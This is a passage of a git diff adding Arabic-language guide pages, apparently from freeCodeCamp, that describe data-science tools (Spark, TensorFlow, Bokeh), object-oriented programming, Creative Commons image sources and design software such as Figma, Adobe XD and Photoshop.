@@ -0,0 +1,32 @@
+---
+title: Spark
+localeTitle: شرارة
+---
+## شرارة
+
+[Spark](http://spark.apache.org/) هو نظام حوسبة سريع وعام للبيانات الضخمة. فهو يوفر واجهات برمجة التطبيقات عالية المستوى في سكالا ، وجاوا ، وبيثون ، و R ، ومحركًا محسنًا يدعم الرسومات البيانية العامة لحساب تحليل البيانات. كما يدعم مجموعة غنية من الأدوات عالية المستوى بما في ذلك Spark SQL for SQL و DataFrames و MLlib للتعلم الآلي و GraphX ​​لمعالجة الرسوم البيانية و Spark Streaming لمعالجة التدفق.
+
+## الميزات الأساسية
+
+يحتوي Spark 2.0 على العديد من الميزات الجديدة:
+
+*   مصدر بيانات CSV أصلي ، يعتمد على وحدة شرارة CSV من Databricks
+*   إدارة الذاكرة خارج كومة الذاكرة المؤقتة للتخزين المؤقت والتنفيذ على حد سواء
+*   دعم خلية نمط دلو
+*   إحصائيات موجزة تقريبية باستخدام الرسومات ، بما في ذلك الكمية التقريبية ، مرشح بلوم ، ورسم دقيقة العد.
+
+## كيف يتم استخدامها لعلوم البيانات
+
+أصبحت Spark أداة قياسية في صندوق أدوات العديد من علماء البيانات. بفضل مرونة خيارات API ، يمكن لأي مبرمج العمل مع Spark بلغته المفضلة. كما لاحظت [كلوديرا](https://blog.cloudera.com/blog/2014/03/why-apache-spark-is-a-crossover-hit-for-data-scientists) ، اكتسب سبارك شعبية لعدة أسباب:
+
+*   كونها تعتمد على Scala ، تدمج Spark في أي نظام تشغيلي قائم على JVM ، ولكن يمكن استخدامها أيضًا بشكل تفاعلي في REPL بطريقة ستشعر مألوفًا لدى مستخدمي R و Python.
+*   بالنسبة لمبرمجين Java ، لا تزال Scala تقدم منحنى تعلم. ولكن على الأقل ، يمكن استخدام أي مكتبة Java من داخل Scala. يشبه تجريد (RDD) (مجموعة البيانات الموزعة المرنة) من Spark PCollection من Crunch ، والذي أثبت أنه تجريد مفيد في Hadoop سيكون مألوفًا بالفعل لمطوري Crunch. (حتى يمكن استخدام أزمة أعلى سبارك.)
+*   سبارك يقلد واجهة برمجة تطبيقات مجموعات سكالا والأسلوب الوظيفي ، وهو نعمة لمطوّري جافا وسكالا ، ولكن أيضًا مألوفًا للمطورين القادمين من بايثون. سكالا هو أيضا خيار مقنع للحوسبة الإحصائية.
+*   سبارك نفسها ، و Scala تحتها ، ليست خاصة بالتعلم الآلي. أنها توفر واجهات برمجة التطبيقات دعم المهام ذات الصلة ، مثل الوصول إلى البيانات ، ETL ، والتكامل. كما هو الحال مع بايثون ، يمكن تنفيذ خط أنابيب علوم البيانات بأكمله ضمن هذا النموذج ، وليس فقط تركيب النموذج وتحليله.
+*   يمكن استخدام التعليمات البرمجية التي يتم تنفيذها في بيئة REPL معظمها كما هو في سياق التشغيل.
+*   يتم توزيع عمليات البيانات بشفافية عبر المجموعة ، حتى أثناء الكتابة.
+
+#### معلومات اكثر
+
+*   [سبارك جيثب الصفحة](https://github.com/apache/spark)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Apache_Spark)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/tensor-flow/index.md b/client/src/guide/arabic/data-science-tools/tensor-flow/index.md
new file mode 100644
index 0000000000..1ba032540b
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/tensor-flow/index.md
@@ -0,0 +1,19 @@
+---
+title: TensorFlow
+localeTitle: TensorFlow
+---
+## تدفق الموتر
+
+[TensorFlow](https://www.tensorflow.org/) هي مكتبة برامج مفتوحة المصدر لـ Intelligence Machine.
+
+بهدف إجراء الأبحاث في هذه المناطق الرائعة ، طور فريق Google TensorFlow.
+
+## كيف يتم استخدامها لعلوم البيانات
+
+TensorFlow هي مكتبة برامج مفتوحة المصدر للحساب الرقمي باستخدام الرسوم البيانية لتدفق البيانات. تمثل العقد في الرسم البياني العمليات الحسابية ، بينما تمثل حواف الرسم البياني صفائف بيانات متعددة الأبعاد (tensors) تم توصيلها فيما بينها. الهندسة المرنة يسمح لك بنشر الحساب إلى واحد أو أكثر من وحدات المعالجة المركزية (CPUs) أو وحدات معالجة الرسومات (GPU) في سطح المكتب أو الخادم أو المحمول الجهاز مع واجهة برمجة تطبيقات واحدة. تم تطوير TensorFlow في الأصل من قبل الباحثين والمهندسين العمل على فريق Google Brain ضمن مؤسسة أبحاث Google Intelligence Research لأغراض إجراء التعلم الآلي وأبحاث الشبكات العصبية العميقة ، ولكن النظام عام بما فيه الكفاية ليكون قابلاً للتطبيق في مجموعة واسعة من المجالات الأخرى أيضًا.
+
+لمزيد من المعلومات ، قم بزيارة [صفحة Gensub TensorFlow](https://github.com/tensorflow)
+
+## مختبر
+
+[TensorFlow](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/TensorFlow/TensorFlow.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/visualization-bokeh/index.md b/client/src/guide/arabic/data-science-tools/visualization-bokeh/index.md
new file mode 100644
index 0000000000..08f354b82d
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/visualization-bokeh/index.md
@@ -0,0 +1,9 @@
+---
+title: Bokeh
+localeTitle: خوخه
+---
+Bokeh هي مكتبة التصور التفاعلية Python ، توفر واجهة أنيقة وموجزة لإنشاء مؤامرة ، dashborads ، وتطبيقات البيانات.
+
+### معلومات اكثر:
+
+[الموقع الرسمي بوكيه](https://bokeh.pydata.org/en/latest/) [بريان فان دي فين ، PyBay2016 ، 55:47](https://www.youtube.com/watch?v=xqwCxuEBpxk) [Bryan Van de Ven، PyData SF 2016، 2:14:00](https://www.youtube.com/watch?v=M1-MVYLONZc)
\ No newline at end of file
diff --git a/client/src/guide/arabic/design-patterns/index.md b/client/src/guide/arabic/design-patterns/index.md
new file mode 100644
index 0000000000..92d8046c4f
--- /dev/null
+++ b/client/src/guide/arabic/design-patterns/index.md
@@ -0,0 +1,11 @@
+---
+title: Design Patterns
+localeTitle: أنماط التصميم
+---
+## أنماط التصميم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freeCodeCamp/guide/blob/master/src/pages/design-patterns/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/design-patterns/object-oriented-programming/index.md b/client/src/guide/arabic/design-patterns/object-oriented-programming/index.md
new file mode 100644
index 0000000000..038607da5c
--- /dev/null
+++ b/client/src/guide/arabic/design-patterns/object-oriented-programming/index.md
@@ -0,0 +1,32 @@
+---
+title: Object Oriented Programming (OOP)
+localeTitle: البرمجة الشيئية (OOP)
+---
+## الخطوط العريضة
+
+*   لماذا كائن المنحى (من الآن فصاعدا اختصار OO)؟
+*   مفاهيم OO
+*   ماذا بعد؟
+
+## لماذا OO؟
+
+في هذا النموذج ، يتم تمثيل الكيانات كبيانات العالم الحقيقي. على سبيل المثال ، نريد تمثيل كلب. في نموذج OO ، نقوم ببساطة بإنشاء فئة تسمى "dog" ، ونعطيها سمات (اللون ، العمر ، الجنس ، الخ) والسلوك (اللحاء ، الجري ، الأكل ، الخ). يتم تغيير السلوك من خلال "أساليب" (وظائف في كلمات بسيطة) التي تجري تغييرات على السمات.
+
+## مفاهيم OO
+
+ما يجعل برمجة OO قوية هي قدرتها على القيام بما يلي:
+
+*   الإرث
+*   تعدد الأشكال
+*   التغليف
+*   التجريد
+
+في البرمجة الإجرائية ، نقوم ببساطة بإنشاء المتغيرات وتغييرها عند الحاجة. ومع ذلك ، في برمجة OO ، يمكننا حرفيا محاكاة كائنات العالم الحقيقي. يتم تحقيق التغليف عن طريق إنشاء فئة معينة لكيان ، على سبيل المثال الكلب. ثم يتم إنشاء كائنات من هذه الفئة ، والتي ليست سوى مثيلات للفصل. كل كائن له قيم السمات الخاصة به.
+
+مفهوم آخر مفيد للغاية هو أن من الميراث. الفكرة هي أن الطبقة يمكن أن ترث سمات وسلوك من طبقة أساسية. على سبيل المثال ، أثناء إنشاء اللعبة ، لدينا لاعب وعدو. يمكننا إنشاء فئة أساسية تسمى الشخص ، وإعطائها سمات مثل الاسم والعمر والجنس ، وما إلى ذلك. يمكن أن يكون سلوك الشخص هو المشي والقفز. يمكن لللاعب والعدو أن يرث هذه "الصفات" من الشخص ، ويمكن أن يضيف صفات مثل القتل ، والنتيجة ، وتناول الطعام ، إلخ.
+
+هذا يساعد في إعادة استخدام التعليمات البرمجية وجعل لكم هيكل rcode أكثر نظيفة. إخفاء البيانات هو ميزة أخرى رائعة. في OO ، لدينا مفهوم السمات الخاصة والعامة. لا يمكن الوصول إلى السمات الخاصة وتعديلها إلا بطرق تلك الفئة المحددة ، بينما يمكن تعديل البيانات العامة من أي مكان في البرنامج (ضمن النطاق بوضوح).
+
+## ماذا بعد؟
+
+اختر لغة OO ، وابن لعبة أساسية تعتمد على المحطة الطرفية لتوضيح هذه المفاهيم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/creative-commons-resources/index.md b/client/src/guide/arabic/designer-tools/creative-commons-resources/index.md
new file mode 100644
index 0000000000..411d65059c
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/creative-commons-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Commons Resources
+localeTitle: المشاع الإبداعي الموارد
+---
## ما هي المشاع الإبداعي؟
+
+تم إنشاء ترخيص Creative Commons من قبل الأكاديمي والمحامي والناشط السياسي Lawrence Lessig. تم إنشاء خيارات ترخيص Creative Commons في رد فعل لقانون حقوق الطبع والنشر. مع الإيمان بأن العملية الإبداعية تتضمن البناء على أفكار ومحتوى الآخرين ، فإن قوانين حقوق النشر تمنع هذا النوع من التطوير الإبداعي. في حين أن قوانين حقوق التأليف والنشر لازمة ، فإن آثارها تمتد لتؤثر على الأفراد وتطورهم الإبداعي تعتبر انتهاكًا غير مسبوق. وقد وصفت المعارضة لحقوق التأليف والنشر بأنها الحقوق المتروكة. المشاع الإبداعي هي حجر الزاوية للحقوق المتروكة ودعم المجال العام. للمساعدة في سد هذه المشكلة المتعلقة بقانون حقوق النشر والتطور الإبداعي ، تم تقديم برنامج Creative Commons للسماح لمنشئي المحتوى بتطبيق ترخيص قانوني يسمح لكيفية استخدام الآخرين لأعمالهم. يمكن بسهولة فهم خيارات الترخيص Creative Commons بواسطة الشخص العادي ويمكن إنشاؤها عن طريق الإجابة على سؤالين فقط:
+
+1.) السماح بتبادل التعديلات الخاصة بعملك؟
+
+2.) السماح بالاستخدامات التجارية لعملك؟
+
+يمكن إجراء خيارات ترخيص Creative Commons بسرعة على: - [اختر](https://creativecommons.org/choose/)
+
+يمكن العثور على مزيد من الأوصاف حول خيارات ترخيص Creative Commons المختلفة هنا: - [التراخيص](https://creativecommons.org/licenses/)
+
+## المشاع الإبداعي الموارد
+
+بعض الناس يكرهون تصميم الأشياء ، وهذا أمر جيد. ولكن هناك شيء واحد يكرهونه _أكثر_ هو مقاضاتهم بسبب انتهاك حقوق الطبع والنشر (لاستخدام محتوى أنشأه شخص آخر بدون إذن صريح منهم).
+
+شاركت مؤخرًا في مناقشة حول هذا الموضوع واعتقدت أنني شاركت عددًا قليلاً من المواقع التي انتقلت إليها سابقًا للحصول على محتوى مجاني عالي الجودة. إذا كنت مصممًا ، أو مطور ويب ، أو مجرد مدون يحتاج إلى بعض الصور اللامعة اللامعة ، فسيكون ذلك صوابًا.
+
+يجب أن [تكون](https://creativecommons.org/licenses/) جميع الموارد التالية [مرخصة بموجب ترخيص Creative Commons](https://creativecommons.org/licenses/) (أو بترخيص متساوٍ) لكي تستخدمه في وقت فراغك:
+
+*   [Gratisography](http://gratisography.com/)
+*   [Unsplash](https://unsplash.com/)
+*   [Pixabay](https://pixabay.com)
+*   [Pexels](https://www.pexels.com)
+*   [فليكر (رخصة المشاع الإبداعي)](https://www.flickr.com/search/?advanced=1&license=2%2C3%2C4%2C5%2C6%2C9)
+*   [متحف متروبوليتان مجموعة](http://www.metmuseum.org/art/collection)
+*   [مجلة الحياة الأرشيف](http://images.google.com/hosted/life)
+*   [المخزون القديم الجديد](http://nos.twnsnd.co/)
+*   [أرشيف المجال العام](http://publicdomainarchive.com/)
+*   [ويكيميديا ​​العامة](https://commons.wikimedia.org/wiki/Main_Page)
+
+هذه ليست بأي حال قائمة شاملة ، ولكن إذا كنت بحاجة إلى بعض الصور عالية الدقة لاستخدامها بحرية - فكر في التحقق من بعضها.
+
+> **ملاحظة:** إذا كنت تخطط لاستخدام _أي_ من هذه الصور للاستخدام غير الشخصي أو التجاري ، يرجى التحقق مرة أخرى من جميع التفاصيل الخاصة بهذه الصورة بعينها (حيث تختلف بعض المواقع).
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/experience-design/index.md b/client/src/guide/arabic/designer-tools/experience-design/index.md
new file mode 100644
index 0000000000..2879f25a9f
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/experience-design/index.md
@@ -0,0 +1,37 @@
+---
+title: Adobe Experience Design
+localeTitle: تصميم تجربة Adobe
+---
+## تصميم تجربة Adobe
+
+يعد Adobe Experience Design ، المعروف أيضًا باسم Adobe XD ، أداة في تصميم النماذج الأولية لمصممي UX. إنها أداة مصممة خصيصًا لتصميم الواجهة وتجربة المستخدم ، بخلاف منتجات Adobe الأخرى مثل Photoshop و Illustrator المخصصة لتحرير الصور وتصميم الرسومات. يتوفر Adobe XD لكل من Windows و MacOS ، بخلاف Sketch وهو حصري لنظام MacOS.
+
+### مزايا:
+
+*   أدوات صنع النماذج الأولية
+*   المتاحة على كل من ويندوز وماكنتوش
+*   معاينة الجهاز المحمول
+*   مجموعات UI المجانية
+*   واجهة نظيفة جدا وأنيق ، على عكس فوتوشوب.
+*   من السهل على مستخدمي Sketch التبديل كواجهة متشابهة جدًا
+*   ميزة تكرار الشبكة
+*   تشمل مباشرة أصول Illustrator و Photoshop
+
+### سلبيات
+
+*   لا تتوفر مكونات إضافية ، بخلاف Sketch التي بها نظام إيكولوجي ضخم موجود بالفعل
+*   خيارات محدودة للنماذج ؛ يفتقر إلى العديد من ميزات أدوات النماذج المخصصة مثل InVision أو Framer
+
+#### معلومات اكثر:
+
+الموقع الرسمي: [أدوبي](https://www.adobe.com/in/products/experience-design.html)
+
+XD المعلم: [xdguru.com](https://www.xdguru.com/)
+
+Adobe XD مقابل Sketch: [Sitepoint](https://www.sitepoint.com/adobe-xd-sketch-will-result-best-ux/)
+
+لماذا يعتبر Prototyping مع Adobe XD هو حل التصميم الأكثر اكتمالا: [Sitepoint](https://www.sitepoint.com/prototyping-with-adobe-xd/)
+
+وإليك قائمة تشغيل تضم 36 مقطع فيديو لمساعدتك على البدء في Adobe XD: [Youtube](https://youtu.be/HqQtYIMnWhM)
+
+[Adobe صفحة تصميم ويكيبيديا](https://en.wikipedia.org/wiki/Adobe_Experience_Design)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/figma/index.md b/client/src/guide/arabic/designer-tools/figma/index.md
new file mode 100644
index 0000000000..f01ee733b2
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/figma/index.md
@@ -0,0 +1,33 @@
+---
+title: Figma
+localeTitle: FIGMA
+---
+## FIGMA
+
+Figma هي أداة تصميم واجهة تعتمد على المتصفح ، مما يسهل على الفرق إنشاء برنامج. وهو يتصل بالسحابة ، مما يسمح لمصممين متعددين بالعمل في نفس المشروع في وقت واحد.
+
+لديها نظام التحكم في الإصدار المدمج ، مثل Git ، والذي يسمح للمصممين بتصميم دون الخوف من التصميمات التي يتم تجاوزها أو حذفها من قبل زملائهم في الفريق.
+
+### لماذا فيغما؟
+
+*   متصفح القائمة على
+*   تطبيق سطح المكتب متاح لكل من Mac و Windows (بخلاف Sketch)
+*   إصدار مدمج
+*   يمكنك استيراد ملفات Sketch الخاصة بك
+*   طباعة قوية وأدوات الرسم المتجهات
+*   لديه وضع متعدد اللاعبين مما يجعل التعاون نسيم
+*   سهولة التكامل مع Zeplin و Avocode لتصدير التصميمات الخاصة بك
+
+واجهة مستخدم Figma UI سهلة الاستخدام \* للمبتدئين. إذا كنت مستخدمًا سابقًا في Sketch ، فستشعر أنك في المنزل في أي وقت من الأوقات.
+
+\* إذا لم تكن قد استخدمت Sketch من قبل ، فقد يستغرق التعرف عليك بعض الوقت.
+
+#### معلومات اكثر
+
+موقع [Figma](https://figma.com) - [Figma](https://figma.com)
+
+Figma مقابل Sketch: The Showdown - [smashingmagazine](https://www.smashingmagazine.com/2017/03/sketch-figma-showdown/)
+
+Smackdown آخر ، Figma مقابل Sketch - [متوسطة](https://medium.com/@mengto/figma-vs-sketch-c01e5e74eddd)
+
+تحتاج بعض الدروس؟ تحقق من سلسلة الفيديو الرسمية من قبل Figma: [يوتيوب](https://www.youtube.com/channel/UCQsVmhSa4X-G3lHlUtejzLA)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/framer/index.md b/client/src/guide/arabic/designer-tools/framer/index.md
new file mode 100644
index 0000000000..c35355e111
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/framer/index.md
@@ -0,0 +1,11 @@
+---
+title: Framer
+localeTitle: المبروز
+---
+## المبروز
+
+Framer هو سير عمل كامل لإنشاء تصميمات تفاعلية سواء منفردة أو في فريق. باستخدام الرسوم المتحركة المضبوطة مسبقًا والتفاعلات الأصلية مسبقة الصنع وتدفقات التطبيقات المتعددة للشاشات ، يمكنك إنشاء تصميماتك وتصميمها بسرعة. يحتوي التصميم على تخطيط تلقائي وخوارزميات التجميع الذكي ، مما يسمح لمساحة التصميم بالتفاعل والاستجابة للعناصر المختلفة المضافة إليها والحفاظ على التسلسل الهرمي ببراعة. يدعم Framer أيضًا Handoff ، وهي طريقة بسيطة لتقديم تحويلات دقيقة للمطورين بمجرد اكتمال مرحلة التصميم.
+
+#### معلومات اكثر:
+
+الموقع الرسمي: [Framer](https://framer.com/features/) يحتوي الموقع أيضًا على [أدلة](https://framer.com/getstarted/guides/) رسمية متعددة حول استخدام Framer.
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/illustrator/index.md b/client/src/guide/arabic/designer-tools/illustrator/index.md
new file mode 100644
index 0000000000..6bc3bc1dd2
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/illustrator/index.md
@@ -0,0 +1,16 @@
+---
+title: Illustrator
+localeTitle: المصور
+---
+## المصور
+
+Illustrator هو برنامج Adobe لإنشاء وتحرير الرسومات المتجهة. إنها أداة متعددة الاستخدامات يستخدمها مصممو الجرافيك والرسامين لتوضيح ثنائي الأبعاد ، وتصميم التخطيط ، والبحث عن المفقودين ، والطباعة. وهو برنامج رائد للمصممين ، ويرجع ذلك أساسًا إلى وظائفه المتعددة وتوافره.
+
+الميزة الرئيسية التي تفصل Adobe Illustrator عن Photoshop هي استخدام الرسومات المتجهة. تقوم الرسومات المتجهية بإنشاء الصور باستخدام عبارات رياضية تسمح للصور بالانتقال إلى أعلى وأسفل في الحجم بدون تقليل جودة الصورة. يستخدم Adobe Photoshop الرسومات النقطية التي تركز على قماش بحجم مجموعة بكسل. إذا كان المرء يقوم بتكبير حجم الصورة النقطية لأعلى أو لأسفل ، فستتحول النتائج إلى بيكسل ، مما يتسبب في ضبابية أو حواف خشنة. ولهذا السبب ، يستخدم Adobe Illustrator عادة للتصاميم الكبيرة والصغيرة التي تتراوح من رموز البرامج إلى اللوحات الإعلانية.
+
+#### معلومات اكثر
+
+*   [دروس Adobe Illustrator](https://design.tutsplus.com/categories/adobe-illustrator)
+*   [مقدمة لتصميم مسطح](https://design.tutsplus.com/tutorials/10-top-tips-on-creating-flat-design-graphics--cms-25888)
+*   [خلق رموز مسطحة باستخدام المصور](https://design.tutsplus.com/tutorials/create-a-set-of-flat-precious-gems-icons-in-adobe-illustrator--vector-26188)
+*   [دروس Illustrator](https://helpx.adobe.com/illustrator/tutorials.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/index.md b/client/src/guide/arabic/designer-tools/index.md
new file mode 100644
index 0000000000..fea3b99423
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/index.md
@@ -0,0 +1,38 @@
+---
+title: Designer Tools
+localeTitle: أدوات المصمم
+---
+## أدوات المصمم
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة متنوعة من الأدوات التي يستخدمها المصممون.
+
+هذه هي بعض منها:
+
+[رسم](https://www.sketchapp.com) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/sketch/index.md)
+
+[تصميم تجربة أدوبي](www.adobe.com/products/experience-design.html) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Experience-design/index.md)
+
+[أدوبي فوتوشوب](http://adobe.com/Photoshop) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/photoshop/index.md)
+
+[Adobe Illustrator](http://adobe.com/Illustrator) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/illustrator/index.md)
+
+[Figma](https://www.figma.com) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Figma/index.md)
+
+[Framer](https://framer.com) - [دليل](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/framer/index.md)
+
+[CLIP STUDIO PAINT](https://www.clipstudio.net/en)
+
+[Moqups](https://moqups.com/)
+
+[كريتا](https://krita.org/en/homepage/)
+
+[MediBang الطلاء](https://medibangpaint.com/en/)
+
+[Autodesk Sketchbook](https://www.sketchbook.com/)
+
+في هذا القسم ، يمكنك مشاهدة المكونات الإضافية الشائعة في Firefox التي يستخدمها المصممون.
+
+هذه هي بعض منها:
+
+*   [لون المنتقى](https://addons.mozilla.org/en-us/firefox/addon/colorzilla/?src=collection&collection_id=90e68e6a-f13f-5921-3412-5228262ca9db)
+*   [تفاعل أدوات المطور](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/invision-studio/index.md b/client/src/guide/arabic/designer-tools/invision-studio/index.md
new file mode 100644
index 0000000000..967ea474e7
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/invision-studio/index.md
@@ -0,0 +1,14 @@
+---
+title: InVision Studio
+localeTitle: InVision Studio
+---
+## InVision Studio
+
+**ملاحظة:** لا يتوفر InVision Studio حاليًا إلا في تسجيل الدخول المبكر و Mac فقط. يعد InVision Studio أداة أخرى لتصميم الواجهة مثل [Sketch](https://guide.freecodecamp.org/designer-tools/sketch) مع وظائف النماذج الأولية والوظائف المتحركة المدمجة بشكل سلس خارج الصندوق وأدوات الاتصال التي تتسم بالسهولة والتي تهدف إلى تسهيل عملية تصميم الفرق معًا. كما هو الحال مع [Figma](https://guide.freecodecamp.org/designer-tools/figma) ، فإن [InVision](https://guide.freecodecamp.org/designer-tools/figma) Studio مصمم على القدرة على الاتصال بـ [InVision](https://www.invisionapp.com/) ، مما يسمح لمصممين متعددين بالعمل في نفس المشروع في وقت واحد. InVision Studio هو حقا من السهل البدء في استخدامها ومحدودة واقعيا فقط من الخيال ومهارة المستخدم. واجهة المستخدم نفسها نظيفة وسهلة الفهم لأنها تتبع تخطيطًا مشابهًا للبرامج الأخرى مثل Sketch أو Figma. ### لماذا برنامج InVision Studio؟
+
+*   أدلى بها الرجال التي خلقت [انفيجن](https://www.invisionapp.com/)
+*   النماذج الأولية عالية الجودة والرسوم المتحركة
+*   مكتبة الأصول عالية الجودة للمساعدة في أفكارك
+*   إنشاء تخطيطات تكيفية للتصميم سريع الاستجابة
+*   يتكامل مع البرامج الأخرى مثل Dropbox ، Slack ، Jira و Trello
+*   التواصل بسلاسة مع أعضاء الفريق الذين يعملون في نفس مشروع InVision Studio #### معلومات اكثر InVision Studio - [InVision Studio](https://www.invisionapp.com/studio) هل يعمل InVision Studio على تبسيط عملية تصميم المنتج؟ - [بودي هارتو Tanrim](https://medium.com/@buditanrim/will-invision-studio-streamlined-your-product-design-process-8dc653bb03c8) نريد أن نرى أكثر من ذلك؟ تحقق من سلسلة الفيديو الرسمية بواسطة InVision: [Youtube](PLeWHfyz6lrQWT3HSzOBZMxta_4FcgogZB)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/photoshop/index.md b/client/src/guide/arabic/designer-tools/photoshop/index.md
new file mode 100644
index 0000000000..6321943d02
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/photoshop/index.md
@@ -0,0 +1,194 @@
+---
+title: Photoshop
+localeTitle: محل تصوير
+---
+## محل تصوير
+
+Adobe Photoshop هو برنامج لتحرير الصور يعتمد على خطوط المسح (البيكسل) والذي يتم استخدامه من قبل مجموعة كبيرة من منشئي المحتوى لإنشاء وتحرير الصور / الرسومات. يستخدم المطورون أو المصممون عادةً Photoshop لإنشاء أو تعديل الأصول والصور الفوتوغرافية لمواقع الويب. يستخدم بعض المطورين أيضًا Photoshop لتصميمات مواقع الويب والنماذج بالأحجام الطبيعية ، ولكن الأدوات الأخرى مثل Adobe Experience Design و Sketch أصبحت أكثر شيوعًا. يتوفر Adobe Photoshop لكل من Windows و Mac ، ولكنه لا يعمل حاليًا بنظام التشغيل Linux.
+
+من الأمور الشائعة التي يمكن للمطور القيام بها في Photoshop ، تعديل حجم البكسل ودقته (72 نقطة في البوصة للويب) من صورة للاستخدام الصحيح للويب وتعديل الصور للحصول على خلفيات شفافة (باستخدام filetypes .gif و .png). من الممارسات الشائعة تقليل حجم الصورة لتكون أكبر ما تحتاج لاستخدامه على موقع ويب. هذا يقلل من مساحة الخادم وأوقات التحميل و Photoshop هو أداة لتحقيق ذلك.
+
+### ملخص
+
+*   برامج تحرير الصور المستندة إلى الصور النقطية
+*   ملف Photoshop هو .psd ، يمكنه التصدير إلى معظم أنواع ملفات الصور.
+*   يستخدم Photoshop وحدات البكسل. تأكد من إنشاء أصول كبيرة بما يكفي ، نظرًا لأن توسيع الحجم ليس ممكنًا دون حدوث تدهور.
+*   تتوفر التنزيلات لنظامي التشغيل Windows و Mac من خلال اشتراكات Adobe.
+*   أصبحت أقل استخدامًا بشكل عام للنماذج الطبيعية لموقع الويب / واجهة المستخدم.
+*   العديد من الأدوات والميزات المتقدمة لتحرير الصور التي قد لا تكون مطلوبة للمطورين.
+
+تم إنشاء Photoshop عام 1988 وهو معيار الصناعة لمهام معالجة الصور المختلفة مثل:
+
+*   التلاعب الصور مثل الصور المحصورة ، والألوان المتغيرة بسرعة
+*   تصميم [نماذج](https://en.wikipedia.org/wiki/Mockup) للمواقع أو التطبيقات
+*   تصميم الشعارات 1
+*   خلق [البلاط النمط](http://styletil.es/)
+*   تصميم الرموز
+
+يتم استخدام Photoshop بواسطة مصممي الويب ، ومصممي تطبيقات الجوال ، ومصممي UX ، والمصورين ، بالإضافة إلى محترفين آخرين في هذا المجال.
+
+### كيف يختلف Photoshop عن الأدوات الأخرى؟
+
+عادة ما يرغب المصممون في معرفة الفرق بين Photoshop و Illustrator لفهم الأداة التي يجب استخدامها:
+
+يقوم Photoshop بإنشاء صور نقطية ، مما يعني أنك تستطيع رؤية وحدات البكسل على الصورة إذا قمت بالتكبير عن قرب.
+
+من ناحية أخرى ، يقوم Illustrator بإنشاء رسومات متجهية. يمكن تغيير حجم الرسومات المتجهة إلى أي شكل بدون أي بيكسل.
+
+فمثلا:
+
+![vector vs raster example](https://raw.githubusercontent.com/cecyc/textures/master/vector-vs-raster.jpg)
+
+الصورة هي صورة نقطية ، وهي صورة توضيحية.
+
+اختر Photoshop عندما تحتاج إلى العمل مع مجموعة من تنسيقات الوسائط (الصور الفوتوغرافية ، النص) ، أو عندما لا تهتم بتغيير الحجم بدون بيكسل.
+
+### التركيب
+
+يعد Adobe Photoshop جزءًا من مجموعة برامج Creative Cloud. يمكنك تثبيت نسخة تجريبية مجانية لمدة 7 أيام من Photoshop [عبر موقع Adobe على الويب](https://www.adobe.com/products/photoshop/free-trial-download.html) . بعد الفترة التجريبية ، ستحتاج إلى تحديد خيار سعر مناسب لك.
+
+إذا كان كل ما تحتاج إليه هو Photoshop ، فيمكنك اختيار الخيار Single Application ، وهو 19.99 دولارًا في الشهر ، ويتضمن الوصول إلى TypeKit (مصدر جيد للخطوط) و 20 غيغابايت من مساحة التخزين.
+
+يمكن للطلاب والمعلمين الحصول على [خصم تعليمي هنا](http://www.adobe-students.com/creativecloud/buy/students.html) .
+
+### مبادئ
+
+#### بدء وثيقة جديدة
+
+عند فتح Photoshop لأول مرة ، سترى على الأرجح مربع حوار سيسألك عما إذا كنت تريد:
+
+*   افتح وثيقة موجودة
+*   قم بإنشاء مستند جديد
+
+إذا كنت لا ترى هذا ، فيمكنك الانتقال إلى `File` > `New...` أو استخدام اختصار لوحة المفاتيح `CMD` / `ctrl` + `N`
+
+بالنسبة إلى مشاريع الويب ، ستحتاج إلى اختيار دقة أقل أو نقطة في البوصة (النقاط لكل بكسل). المعيار هو 72 نقطة في البوصة.
+
+للمشاريع الطباعة ، يجب عليك اختيار دقة أعلى. يوصى بـ 300 نقطة في البوصة على الأقل.
+
+#### نظرة عامة
+
+![عرض نافذة Photoshop](https://raw.githubusercontent.com/cecyc/textures/master/photoshop-view.png)
+
+عند فتح Photoshop ، سترى مكونين رئيسيين.
+
+لوحة الأدوات على اليسار وقسم اللوحة على اليمين.
+
+تحتوي لوحة الأدوات على كافة الأدوات التي تحتاج إليها لمعالجة صورة أو تحريرها (راجع قسم الأدوات أدناه).
+
+تحتوي بعض الأدوات على لوحة خاصة بها ، والتي سترى في قسم اللوحات على اليمين. يمكنك التحكم في اللوحات التي تراها على عرض اللوحة بالانتقال إلى `Window` وتغيير اللوحات المتعددة المتوفرة.
+
